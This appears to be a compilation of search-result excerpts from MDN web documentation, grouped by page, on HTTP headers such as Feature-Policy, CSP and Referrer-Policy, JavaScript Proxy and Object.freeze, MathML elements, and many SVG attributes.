attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src
attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all ...
...e following http response header to define a feature policy: feature-policy: fullscreen 'self' https://example.com with an <iframe> element fastcorp inc. wants to disable fullscreen for all cross-origin child frames, except for a specific <iframe>. it can do so by delivering the following http response header to define a feature policy: feature-policy: fullscreen 'self' then include an allow
attribute on the <iframe> element: <iframe src="https://other.com/videoplayer" allow="fullscreen"></iframe> iframe
attributes can selectively enable features in certain frames, and not in others, even if those frames contain documents from the same origin. specifications specification status comment feature policy editor's draft initial definition. fullscreen ...
Index - HTTP
ctive, http, reference, security the http content-security-policy require-sri-for directive instructs the client to require the use of subresource integrity for scripts or styles on the page. 46 csp: sandbox csp, directive, http, security the http content-security-policy (csp) sandbox directive enables a sandbox for the requested resource similar to the <iframe> sandbox
attribute. it applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. 47 csp: script-src csp, directive, http, reference, security the http content-security-policy (csp) script-src directive specifies valid sources for javascript. this includes not only urls loaded directly into <script> ...
... directive, feature policy, feature-policy, http, reference, autoplay the http feature-policy header autoplay directive controls whether the current document is allowed to autoplay media requested through the htmlmediaelement interface. when this policy is enabled and there were no user gestures, the promise returned by htmlmediaelement.play() will reject with a domexception. the autoplay
attribute on <audio> and <video> elements will be ignored. 65 feature-policy: camera directive, feature policy, feature-policy, http, reference, camera the http feature-policy header camera directive controls whether the current document is allowed to use video input devices. when this policy is enabled, the promise returned by mediadevices.getusermedia() will reject with a notallowede...
... http, reference, header the te request header specifies the transfer encodings the user agent is willing to accept. (you could informally call it accept-transfer-encoding, which would be more intuitive). 105 timing-allow-origin cors, http, reference, timing-allow-origin, header the timing-allow-origin response header specifies origins that are allowed to see values of
attributes retrieved via features of the resource timing api, which would otherwise be reported as zero due to cross-origin restrictions. 106 tk dnt, http, reference, response, header, tracking the tk response header indicates the tracking status that applied to the corresponding request. 107 trailer http, reference, header the trailer response header allows the se...
Referrer-Policy - HTTP
e information from https resource urls to insecure origins. carefully consider the impact of this setting. integration with html you can also set referrer policies inside html. for example, you can set the referrer policy for the entire document with a <meta> element with a name of referrer: <meta name="referrer" content="origin"> or set it for individual requests with the referrerpolicy
attribute on <a>, <area>, <img>, <iframe>, <script>, or <link> elements: <a href="http://example.com" referrerpolicy="origin"> alternatively, a noreferrer link relation on an a, area, or link element can be set: <a href="http://example.com" rel="noreferrer"> integration with css css can fetch resources referenced from stylesheets. these resources follow a referrer policy as well: external css style...
...element can be set: <a href="http://example.com" rel="noreferrer"> integration with css css can fetch resources referenced from stylesheets. these resources follow a referrer policy as well: external css stylesheets use the default policy (no-referrer-when-downgrade), unless it's overwritten via a referrer-policy http header on the css stylesheet’s response. for <style> elements or style
attributes, the owner document's referrer policy is used. examples policy document navigation to referrer no-referrer https://example.com/page anywhere (no referrer) no-referrer-when-downgrade https://example.com/page https://example.com/otherpage https://example.com/page https://mozilla.org https://example.com/page http://ex...
... specifications specification status referrer policy editor's draft ...
Meta programming - JavaScript
create(proxy)[foo] reflect.get() the value reported for a property must be the same as the value of the corresponding target property if target's property is a non-writable, non-configurable data property. the value reported for a property must be undefined if the corresponding target property is non-configurable accessor property that has undefined as its [[get]]
attribute. handler.set() property assignment proxy[foo] = bar proxy.foo = bar inherited property assignment object.create(proxy)[foo] = bar {jsxref("reflect.set()")}} cannot change the value of a property to be different from the value of the corresponding target property if the corresponding target property is a non-writable, ...
... {jsxref("reflect.set()")}} cannot change the value of a property to be different from the value of the corresponding target property if the corresponding target property is a non-writable, non-configurable data property. cannot set the value of a property if the corresponding target property is a non-configurable accessor property that has undefined as its [[set]]
attribute. in strict mode, a false return value from the set handler will throw a typeerror exception. handler.deleteproperty() property deletion delete proxy[foo] delete proxy.foo reflect.deleteproperty() a property cannot be deleted if it exists as a non-configurable own property of target. handler.enumerate() property...
...checking if property definition has been successful with object.defineproperty, which returns an object if successful, or throws a typeerror otherwise, you would use a try...catch block to catch any error that occurred while defining a property. because reflect.defineproperty returns a boolean success status, you can just use an if...else block here: if (reflect.defineproperty(target, property,
attributes)) { // success } else { // failure } « previousnext » ...
Object.freeze() - JavaScript
eeze. return value the object that was passed to the function. description nothing can be added to or removed from the properties set of a frozen object. any attempt to do so will fail, either silently or by throwing a typeerror exception (most commonly, but not exclusively, when in strict mode). for data properties of a frozen object, values cannot be changed, the writable and configurable
attributes are set to false. accessor properties (getters and setters) work the same (and still give the illusion that you are changing the value). note that values that are objects can still be modified, unless they are also frozen. as an object, an array can be frozen; after doing so, its elements cannot be altered and no elements can be added to or removed from the array. freeze() returns the same obje...
...zen. object.isfrozen(obj); // === true // now any changes will fail obj.foo = 'quux'; // silently does nothing // silently doesn't add the property obj.quaxxor = 'the friendly duck'; // in strict mode such attempts will throw typeerrors function fail(){ 'use strict'; obj.foo = 'sparky'; // throws a typeerror delete obj.foo; // throws a typeerror delete obj.quaxxor; // returns true since
attribute 'quaxxor' was never added obj.sparky = 'arf'; // throws a typeerror } fail(); // attempted changes through object.defineproperty; // both statements below throw a typeerror. object.defineproperty(obj, 'ohai', { value: 17 }); object.defineproperty(obj, 'foo', { value: 'eit' }); // it's also impossible to change the prototype // both statements below will throw a typeerror. object.setprototype...
...properties are objects themselves, those objects are not frozen and may be the target of property addition, removal or value re-assignment operations. var employee = { name: "mayank", designation: "developer", address: { street: "rohini", city: "delhi" } }; object.freeze(employee); employee.name = "dummy"; // fails silently in non-strict mode employee.address.city = "noida"; //
attributes of child object can be modified console.log(employee.address.city) // output: "noida" to make an object immutable, recursively freeze each property which is of type object (deep freeze). use the pattern on a case-by-case basis based on your design when you know the object contains no cycles in the reference graph, otherwise an endless loop will be triggered. an enhancement to deepfreeze() wou...
<maction> - MathML
possible values are: statusline: if there is a click on the expression or the reader moves the pointer over it, the message is sent to the browser's status line. the syntax is: <maction actiontype="statusline"> expression message </maction>. ...
...possible values are: statusline: if there is a click on the expression or the reader moves the pointer over it, the message is sent to the browser's status line. the syntax is: <maction actiontype="statusline"> expression message </maction>. ...
...possible values are: statusline: if there is a click on the expression or the reader moves the pointer over it, the message is sent to the browser's status line. the syntax is: <maction actiontype="statusline"> expression message </maction>. ...
<math> - MathML
the top-level element in mathml is <math>. every valid mathml instance must be wrapped in <math> tags. in addition you must not nest a second <math> element in another, but you can have an arbitrary number of other child elements in it.
attributes in addition to the following
attributes, the <math> element accepts any
attributes of the <mstyle> element. class, id, style provided for use with stylesheets. dir overall directionality of formulas. possible values are either ltr (left to right) or rtl (right to left). ...
... id, style provided for use with stylesheets. dir overall directionality of formulas. possible values are either ltr (left to right) or rtl (right to left). href used to set a hyperlink to a specified uri. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. display this enumerated
attribute specifies how the enclosed mathml markup should be rendered. it can have one of the following values: block, which means that this element will be displayed outside the current span of text, as a block that can be positioned anywhere without changing the meaning of the text; inline, which means that this element will be displayed inside the current span of text, and cannot be moved out of i...
...ent will be displayed outside the current span of text, as a block that can be positioned anywhere without changing the meaning of the text; inline, which means that this element will be displayed inside the current span of text, and cannot be moved out of it without changing the meaning of that text. if not present, its default value is inline. mode deprecated in favor of the display
attribute. possible values are: display (which has the same effect as display="block") and inline. overflow specifies how an expression behaves if it is too long to fit in the allowed width. possible values are: linebreak (default), scroll, elide, truncate, scale. examples html5 notation <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <math> <mrow> ...
<mfrac> - MathML
the mathml <mfrac> element is used to display fractions. syntax <mfrac>numerator denominator</mfrac>
attributes bevelled specifies the way the fraction is displayed. if true, the fraction line is bevelled, which means that numerator and denominator are displayed side by side and separated by a slash (/). otherwise, if set to false (which is the default value), numerator and denominator are on top of each other. this
attribute is deprecated and will be removed in the future. use u+2044 (fraction slash) instead. class, id, style provided for use with stylesheets. denomalign the alignment of the denominator under the fraction. possible values are: left, center (default), and right. this
attribute is deprecated and will be removed in the future. use css text-align instead. href used...
... the values medium, thin, and thick are deprecated and will be removed in the future. mathbackground the background color. you can use #rgb, #rrggbb and html color names. ...
...lues medium, thin, and thick are deprecated and will be removed in the future. mathbackground the background color. you can use #rgb, #rrggbb and html color names. mathcolor the text color and also the fraction line color. you can use #rgb, #rrggbb and html color names. numalign the alignment of the numerator over the fraction. possible values are: left, center (default), and right. this
attribute is deprecated and will be removed in the future. use css text-align instead. examples sample rendering: your browser rendering: a b c d <math> <mfrac bevelled="true"> <mfrac> <mi> a </mi> <mi> b </mi> </mfrac> <mfrac> <mi> c </mi> <mi> d </mi> </mfrac> </mfrac> </math> specifications specification status...
<semantics> - MathML
ault only the first child is rendered, which is supposed to be presentation markup. if the first child is a presentation mathml element other than <annotation> or <annotation-xml>, render the first child. if no presentation mathml is found, render the first <annotation> or <annotation-xml> child element of <semantics>. ...
... encoding the encoding of the semantic information in the annotation (e.g. ...
... encoding the encoding of the semantic information in the annotation (e.g. ...
OpenSearch description format
firefox caches the icon as a base64 data: uri (search plug-ins are stored in the profile's searchplugins/ folder). http: and https: urls are converted to data: uris when this is done. note: for icons loaded remotely (that is, from https:// uris as opposed to data: uris), firefox will reject icons larger than 10 kilobytes. url describes the url or urls to use for the search. the template
attribute indicates the base url for the search query. firefox supports three url types: type="text/html" specifies the url for the actual search query. type="application/x-suggestions+json" specifies the url for fetching search suggestions. in firefox 63 onwards, type="application/json" is accepted as an alias of this. type="application/x-moz-keywordsearch" specifies the url used when a keyword s...
...rch plugin. (see image, the green plus sign.) thus if a search box is not shown in the user's ui, they will receive no indication. in general, behavior varies among browsers. supporting automatic updates for opensearch plugins opensearch plugins can automatically update. to support this, include an extra url element with type="application/opensearchdescription+xml" and rel="self". the template
attribute should be the url of the opensearch document to automatically update to. for example: <url type="application/opensearchdescription+xml" rel="self" template="https://example.com/mysearchdescription.xml" /> note: at this time, addons.mozilla.org (amo) doesn't support automatic updating of opensearch plugins. if you want to put your search plugin on amo, remove the auto-updating featur...
...lowing tips could help you find the problem. your server should serve opensearch plugins using content-type: application/opensearchdescription+xml. be sure that your search plugin xml is well formed. you can check by loading the file directly into firefox. ampersands (&) in the template url must be escaped as &, and tags must be closed with a trailing slash or matching end tag. the xmlns
attribute is important — without it you could get the error message "firefox could not download the search plugin". you must include a text/html url — search plugins including only atom or rss url types (which is valid, but firefox doesn't support) will also generate the "could not download the search plugin" error. remotely fetched favicons must not be larger than 10kb (see bug 361923). in additio...
Populating the page: how browsers work - Web Performance
first render -- in the first 14 kilobytes. but before anything is rendered to the screen, the html, css, and javascript have to be parsed. building the dom tree we describe five steps in the critical rendering path. the first step is processing the html markup and building the dom tree. html parsing involves tokenization and tree construction. html tokens include start and end tags, as well as
attribute names and values. if the document is well-formed, parsing it is straightforward and faster. the parser parses tokenized input into the document, building up the document tree. the dom tree describes the content of the document. the <html> element is the first tag and root node of the document tree. the tree reflects the relationships and hierarchies between different tags. tags nested within oth...
...ween different tags. tags nested within other tags are child nodes. the greater the number of dom nodes, the longer it takes to construct the dom tree. when the parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. parsing can continue when a css file is encountered, but <script> tags—particularly those without an async or defer
attribute—block rendering, and pause the parsing of html. though the browser's preload scanner hastens this process, excessive scripts can still be a significant bottleneck. preload scanner while the browser builds the dom tree, this process occupies the main thread. as this happens, the preload scanner will parse through the content available and request high priority resources like css, javascript, a...
...link rel="stylesheet" src="styles.css"/> <script src="myscript.js" async></script> <img src="myimage.jpg" alt="image description"/> <script src="anotherscript.js" async></script> in this example, while the main thread is parsing the html and css, the preload scanner will find the scripts and image, and start downloading them as well. to ensure the script doesn't block the process, add the async
attribute, or the defer
attribute if javascript parsing and execution order is not important. waiting to obtain css doesn't block html parsing or downloading, but it does block javascript, because javascript is often used to query css properties’ impact on elements. building the cssom the second step in the critical rendering path is processing css and building the cssom tree. the css object model is ...
Using dns-prefetch - Web Performance
request. this process is known as dns resolution. while dns caching can help to reduce this latency, dns resolution can add significant latency to requests. for websites that open connections to many third parties, this latency can significantly reduce loading performance. dns-prefetch helps developers mask dns resolution latency. ...
...this latency, dns resolution can add significant latency to requests. for websites that open connections to many third parties, this latency can significantly reduce loading performance. dns-prefetch helps developers mask dns resolution latency. the html <link> element offers this functionality by way of a rel
attribute value of dns-prefetch. ...
...t will still get some added benefit by falling back to dns-prefetch. because this is an html feature, it is very fault-tolerant. if a non-supporting browser encounters a dns-prefetch hint—or any other resource hint—your site won’t break. you just won’t receive the benefits it provides. some resources such as fonts are loaded in anonymous mode. in such cases you should set the crossorigin
attribute with the preconnect hint. if you omit it, the browser will only perform the dns lookup. ...
Privacy, permissions, and information security
provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both for a document and for subdocuments loaded in <iframe>s <iframe>'s allow
attribute technically part of feature policy, the allow
attribute on an <iframe> specifies which web features the document in the frame should be allowed to access http public key pinning (hpkp) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict tra...
...r context transport layer security (tls); formerly known as secure sockets layer (ssl) tls provides security and privacy by encrypting data during transport over the network. this is the technology behind the https (hypertext transport protocol secured) protocol not all of these are generally directly used within code; notably, the permissions api, feature policy, and the allow
attribute on <iframe> elements are primary tools directly used by code to help secure a site and its content. keeping personal data safe managing site permissions bringing it all together <using feature policy with permissions and so forth; how to use them together, how they interact, etc> permission requests in <iframe> elements things can get tricky when your web app uses the <iframe> element to em...
...nside your own, especially if the document you load into the frame has its own permission needs to consider. while specifications for these technologies either state or recommend tactics for handling situations like this, browsers may offer different solutions to improve security even further or to try new features, or try to reduce complexity for users, among other possible reasons. <--- allow
attribute, feature policy, and permissions api stuff ---> a specific user experience issue that often arises is a document that's loaded with permission to access a resource and the document contains an <iframe> with the allow
attribute to delegate that permission to the contents of the frame. in this case, it's possible for the user to wind up being prompted repeatedly for that same resource, first by th...
Media - Progressive web apps (PWAs)
pecify rules that are specific to a type of media, use @media followed by the media type, followed by curly braces that enclose the rules. example a document on a website has a navigation area that contains the primary site menu. in the markup language, the navigation area's parent element has the id nav-area. (in html5, this can be marked up with the <nav> element instead of <div> with an id
attribute.) when printing the document, the navigation area has no purpose. this css (below) removes the navigation area when printing the document: @media print { #nav-area {display: none;} } some common media types are: screen color device display print printed paged media projection projected display all all media (the default) more detai...
...int printed paged media projection projected display all all media (the default) more details there are other ways to specify the media type for a set of rules. the document's markup language might allow the media type to be specified when the stylesheet is linked to the document. for example, in html, you have the option to specify the media type with a media
attribute in the link element. in css, you can use @import at the start of a stylesheet to import another stylesheet from a url, optionally specifying the media type. these are ways of separating styling rules for different media types into different files. for full details of media types, see media in the css specification. there are more examples of the display property in a later page in this tutori...
...ept input progress indicating that the program is working, but can still accept input default the default (usually an arrow) an outline property creates an outline that is often used to indicate keyboard focus. its values are similar to the border property, except that you cannot specify individual sides. some other features of user interfaces are implemented using
attributes, in the normal way. for example, an element that is disabled or read-only has the disabled
attribute or the readonly
attribute. selectors can specify these
attributes like any other
attributes, by using square brackets: [disabled] or [readonly]. example these rules specify styles for a button that changes dynamically as the user interacts with it: .green-button { background-color:#cec; c...
accumulate - SVG: Scalable Vector Graphics
the accumulate
attribute controls whether or not an animation is cumulative. it is frequently useful for repeated animations to build upon the previous results, accumulating with each iteration. this
attribute said to the animation if the value is added to the previous animated
attribute's value on each iteration. four elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the previous iteration. none specifies that repeat iterations are not cumulative. ...
... specifications specification status comment svg animations level 2the definition of 'accumulate' in that specification. ...
...ttribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the previous iteration. none specifies that repeat iterations are not cumulative. this
attribute is ignored if the target
attribute value does not support addition, or if the animation element does not repeat. this
attribute will be ignored if the animation function is specified with only the to
attribute. specifications specification status comment svg animations level 2the definition of 'accumulate' in that specification. editor's draft no change scalable vector graphics (svg) 1...
additive - SVG: Scalable Vector Graphics
the additive
attribute controls whether or not an animation is additive. it is frequently useful to define animation as an offset or delta to an
attribute's value, rather than as absolute values. four elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value replace | sum default value replace animatable no sum specifies that the animation will add to the underlying value of the
attribute and other lower priority animations. replace specifies that the animation will override the underlying value of the
attribute and other lower priority animations. ...
... specifications specification status comment svg animations level 2the definition of 'additive' in that specification. ...
... specifications specification status comment svg animations level 2the definition of 'additive' in that specification. ...
by - SVG: Scalable Vector Graphics
the by
attribute specifies a relative offset value for an
attribute that will be modified during an animation. the starting value for the
attribute is either indicated by specifying it as value for the
attribute given in the
attributename or the from
attribute. ...
... the by
attribute specifies a relative offset value for an
attribute that will be modified during an animation. the starting value for the
attribute is either indicated by specifying it as value for the
attribute given in the
attributename or the from
attribute. ...
...he
attribute is either indicated by specifying it as value for the
attribute given in the
attributename or the from
attribute. four elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate
attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this
attribute depends on the value of the
attribute that will be animated. when a list of values is defined via the values
attribute, the by
attribute is ignored. specifications specificatio...
class - SVG: Scalable Vector Graphics
« svg
attribute reference home assigns a class name or set of class names to an element. you may assign the same class name or names to any number of elements, however, multiple class names must be separated by whitespace characters. an element's class name serves two key roles: as a style sheet selector, for when an author assigns style information to a set of elements. for general use by the browser. you can use this class to style svg content using css. usage context categories none value <list-of-class-names> animatable yes normative document svg 1.1 (2nd edition): the class
attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values. unless explicitly described differ...
... class to style svg content using css. usage context categories none value <list-of-class-names> animatable yes normative document svg 1.1 (2nd edition): the class
attribute list-of-ts <list-of-ts> (where t is some type.) a list consists of a separated sequence of values. unless explicitly described differently, lists within svg's xml
attributes can be either comma-separated (with optional white space before or after the comma), or white space-separated. white space in lists is defined as one or more of the following consecutive characters: "space" (u+0020), "tab" (u+0009), "line feed" (u+000a), "carriage return" (u+000d), and "form-feed" (u+000c). the following is a template for an ebnf grammar describing the <list-of-ts> syntax: ...
... circle.circleclass { stroke: #006600; fill: #cc0000; } ]]> </style> <rect class="rectclass" x="10" y="10" width="100" height="100"/> <circle class="circleclass" cx="40" cy="50" r="26"/> </svg> </body> </html> elements the following elements can use the class
attribute: <a> <altglyph> <circle> <clippath> <defs> <desc> <ellipse> <feblend> <fecolormatrix> <fecomponenttransfer> <fecomposite> <feconvolvematrix> <fediffuselighting> <fedisplacementmap> <feflood> <fegaussianblur> <feimage> <femerge> <femorphology> <feoffset> <fespecularlighting> <fetile> <feturbulence> <filter> <font> <foreignobject> <g> <glyph> <glyphref> <image> <li...
clip-rule - SVG: Scalable Vector Graphics
the following fragment of code will cause an evenodd clipping rule to be applied to the clipping path because clip-rule is specified on the <path> element that defines the clipping shape: <g> <clippath id="myclip"> <path d="..." clip-rule="evenodd" /> </clippath> <rect clip-path="url(#myclip)" ... ...
...ip-path="url(#myclip)" ... /> </g> whereas the following fragment of code will not cause an evenodd clipping rule to be applied because the clip-rule is specified on the referencing element, not on the object defining the clipping shape: <g> <clippath id="myclip"> <path d="..." /> </clippath> <rect clip-path="url(#myclip)" clip-rule="evenodd" ... /> </g> as a presentation
attribute, it also can be used as a property directly inside a css stylesheet usage context categories presentation
attribute value nonzero | evenodd | inherit animatable yes normative document svg 1.1 (2nd edition) nonzero see description of fill-rule property. evenodd see description of fill-rule property. example <svg width="100" viewbox="...
... graphical elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfiref...
color-interpolation-filters - SVG: Scalable Vector Graphics
the color-interpolation-filters
attribute specifies the color space for imaging operations performed via filter effects. notes: this property just has an affect on filter operations. therefore, it has no effect on filter primitives like <feoffset>, <feimage>, <fetile> or <feflood>. color-interpolation-filters has a different initial value than color-interpolation. color-interpolation-filters has an initial value of linearrgb, whereas color-interpolation has an initial value of srgb. thus, in the default case, filter effects operations occur in the linearrgb color space, whereas all other color interpolations occur by default in the srgb color space. it has no affect on filter functions, which operate in the srgb color space. ...
...ion. color-interpolation-filters has an initial value of linearrgb, whereas color-interpolation has an initial value of srgb. thus, in the default case, filter effects operations occur in the linearrgb color space, whereas all other color interpolations occur by default in the srgb color space. it has no affect on filter functions, which operate in the srgb color space. ...
...-interpolation has an initial value of srgb. thus, in the default case, filter effects operations occur in the linearrgb color space, whereas all other color interpolations occur by default in the srgb color space. it has no affect on filter functions, which operate in the srgb color space. note: as a presentation
attribute, color-interpolation can be used as a css property. ...
color-interpolation - SVG: Scalable Vector Graphics
the color-interpolation
attribute specifies the color space for gradient interpolations, color animations, and alpha compositing. note: for filter effects, the color-interpolation-filters property controls which color space is used. the color-interpolation property chooses between color operations occurring in the srgb color space or in a (light energy linear) linearized rgb color space. having chosen the appropriate color space, component-wise linear interpolation is used. when a child element is blended into a background, the value of the color-interpolation property on the child determines the type of blending, not the value of the color-interpolation on the parent. ...
...nergy linear) linearized rgb color space. having chosen the appropriate color space, component-wise linear interpolation is used. when a child element is blended into a background, the value of the color-interpolation property on the child determines the type of blending, not the value of the color-interpolation on the parent. for gradients which make use of the href or the deprecated xlink:href
attribute to reference another gradient, the gradient uses the propertyʼs value from the gradient element which is directly referenced by the fill or stroke property. when animating colors, color interpolation is performed according to the value of the color-interpolation property on the element being animated. note: as a presentation
attribute, color-interpolation can be used as a css property. as a pr...
...ce another gradient, the gradient uses the propertyʼs value from the gradient element which is directly referenced by the fill or stroke property. when animating colors, color interpolation is performed according to the value of the color-interpolation property on the element being animated. note: as a presentation
attribute, color-interpolation can be used as a css property. ...
color-profile - SVG: Scalable Vector Graphics
for images that do have a profile built into their data, that profile is used. for images that do not have a profile, the srgb profile is used. ...
...for images that do have a profile built into their data, that profile is used. for images that do not have a profile, the srgb profile is used. ...
...for images that do have a profile built into their data, that profile is used. for images that do not have a profile, the srgb profile is used. ...
cursor - SVG: Scalable Vector Graphics
« svg
attribute reference home the cursor
attribute specifies the mouse cursor displayed when the mouse pointer is over an element. this
attribute behaves exactly like the css cursor property except that if the browser supports the <cursor> element, you should be able to use it with the <funciri> notation. as a presentation
attribute, it also can be used as a property directly inside a css stylesheet, see css cursor for further information. ...
...ouse pointer is over an element. this
attribute behaves exactly like the css cursor property except that if the browser supports the <cursor> element, you should be able to use it with the <funciri> notation. as a presentation
attribute, it also can be used as a property directly inside a css stylesheet, see css cursor for further information. usage context categories presentation
attribute value [[<funciri>,]* [ auto | crosshair | default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit animatable yes normative document svg 1.1 (2nd edition) <funciri> functional notation for a reference. the syntax for this reference is the same as the css uri. ...
... default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit animatable yes normative document svg 1.1 (2nd edition) <funciri> functional notation for a reference. the syntax for this reference is the same as the css uri. elements the following elements can use the cursor
attribute container elements » graphics elements » browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for andro...
exponent - SVG: Scalable Vector Graphics
the exponent
attribute defines the exponent of the gamma function. ...
... the exponent
attribute defines the exponent of the gamma function. ...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'exponent' in that specification. ...
from - SVG: Scalable Vector Graphics
the from
attribute indicates the initial value of the
attribute that will be modified during the animation. when used with the to
attribute, the animation will change the modified
attribute from the from value to the to value. when used with the by
attribute, the animation will change the
attribute relatively from the from value by the value specified in by. ...
... the from
attribute indicates the initial value of the
attribute that will be modified during the animation. when used with the to
attribute, the animation will change the modified
attribute from the from value to the to value. when used with the by
attribute, the animation will change the
attribute relatively from the from value by the value specified in by. ...
...lue. when used with the by
attribute, the animation will change the
attribute relatively from the from value by the value specified in by. four elements are using this
attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate
attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this
attribute depends on the value of the
attribute that will be animated. when a list of values is defined via the values
attribute, the from
attribute is ignored. specifications ...
in - SVG: Scalable Vector Graphics
the in
attribute identifies input for the given filter primitive. the value can be either one of the six keywords defined below, or a string which matches a previous result
attribute value within the same <filter> element. if no value is provided and this is the first filter primitive, then this filter primitive will use sourcegraphic as its input. if no value is provided and this is a subsequent filter primitive, then this filter primitive will use the result from the previous filter primitive as its input. if the value for result appears multiple times within a given <filter> element, then a reference to that result will use the closest preceding filter primitive with the given value for
attribute result. ...
...f no value is provided and this is a subsequent filter primitive, then this filter primitive will use the result from the previous filter primitive as its input. if the value for result appears multiple times within a given <filter> element, then a reference to that result will use the closest preceding filter primitive with the given value for
attribute result. ...
... strokepaint is opaque everywhere, but that might not be the case if a shape is painted with a gradient or pattern which itself includes transparent or semi-transparent parts. <filter-primitive-reference> this value is an assigned name for the filter primitive in the form of a <custom-ident>. if supplied, then graphics that result from processing this filter primitive can be referenced by an in
attribute on a subsequent filter primitive within the same filter element. if no value is provided, the output will only be available for re-use as the implicit input into the next filter primitive if that filter primitive provides no value for its in
attribute. workaround for backgroundimage instead of using in="backgroundimage", we need to import one of the images to blend inside the filter itself, us...
kerning - SVG: Scalable Vector Graphics
the kerning
attribute indicates whether the spacing between glyphs should be adjusted based on kerning tables that are included in the relevant font (i.e., enable auto-kerning) or instead disable auto-kerning and set the spacing between them to a specific length (typically, zero). note: as a presentation
attribute kerning can be used as a css property. in css the property is called font-kerning, though. ...
...ates whether the spacing between glyphs should be adjusted based on kerning tables that are included in the relevant font (i.e., enable auto-kerning) or instead disable auto-kerning and set the spacing between them to a specific length (typically, zero). note: as a presentation
attribute kerning can be used as a css property. in css the property is called font-kerning, though. ...
... ...
keyPoints - SVG: Scalable Vector Graphics
the keypoints
attribute indicates the simple duration of an animation. ...
... the keypoints
attribute indicates the simple duration of an animation. ...
...<number> [; <number>]* ;? default value none animatable no <number> [; <number>] ;? this value defines a semicolon-separated list of floating point values between 0 and 1 and indicates how far along the motion path the object shall move at the moment in time specified by corresponding keytimes value. the distance is calculated along the path specified by the path
attribute. each progress value in the list corresponds to a value in the keytimes
attribute list. if a list of key points is specified, there must be exactly as many values in the keypoints list as in the keytimes list. if there's a semicolon at the end of the value, optionally followed by white space, both the semicolon and the trailing white space are ignored. if there are any errors in the value sp...
lang - SVG: Scalable Vector Graphics
the lang
attribute specifies the primary language used in contents and
attributes containing text content of particular elements. there is also an xml:lang
attribute (with namespace). if both of them are defined, the one with namespace is used and the one without is ignored. in svg 1.1 there was a lang
attribute defined with a different meaning and only applying to <glyph> elements. that
attribute specified a list of languages in bcp 47 format. the glyph was meant to be used if the xml:lang
attribute exactly matched one of the languages given in the value of this parameter, or if the xml:lang
attribute exactly equaled a prefix of one of the languages given in the value of this parameter such that the first tag character following the prefix was "-". all elements are using this
attribute. <svg...
... by a lowercase two-character part for the language and an uppercase two-character part for the region or country, separated by a minus sign, e.g. en-us for us english or de-at for austrian german. ...
...mment scalable vector graphics (svg) 2the definition of 'lang' in that specification. candidate recommendation made the lang
attribute (without namespace) available on all elements and defined the interaction between both. ...
opacity - SVG: Scalable Vector Graphics
the opacity
attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the background behind the element is overlaid. note: as a presentation
attribute, opacity can be used as a css property. see the css opacity property for more information. ...
... the opacity
attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the background behind the element is overlaid. note: as a presentation
attribute, opacity can be used as a css property. see the css opacity property for more information. ...
...-value> the uniform opacity setting to be applied across an entire object, as a <number>. any values outside the range 0.0 (fully transparent) to 1.0 (fully opaque) will be clamped to this range. specifications specification status comment css color module level 4the definition of 'opacity' in that specification. working draft defines in more detail what this
attribute applies to. css color module level 3the definition of 'opacity' in that specification. recommendation defines in more detail what this
attribute applies to. scalable vector graphics (svg) 2the definition of 'opacity' in that specification. candidate recommendation references the specification in css color 3 and notes that there are some related
attributes. s...
overflow - SVG: Scalable Vector Graphics
if the overflow property has the value hidden or scroll, a clip of the exact size of the svg viewport is applied. when scroll is specified on an <svg> element, a scrollbar or panner is normally shown for the svg viewport whether or not any of its content is clipped. within svg content, the value auto implies that all rendered content for child elements must be visible, either through a scrolling mechanism, or by rendering with no clip. ...
... rendered content for child elements must be visible, either through a scrolling mechanism, or by rendering with no clip. although the initial value for overflow is auto, it is overwritten in the user agent style sheet for the <svg> element when it is not the root element of a stand-alone document, the <pattern> element, and the <marker> element to be hidden by default. ...
... although the initial value for overflow is auto, it is overwritten in the user agent style sheet for the <svg> element when it is not the root element of a stand-alone document, the <pattern> element, and the <marker> element to be hidden by default. note: as a presentation
attribute, overflow can be used as a css property. see the css opacity property for more information. ...
panose-1 - SVG: Scalable Vector Graphics
the initial value zero for each panose digit means "any", i.e. ...
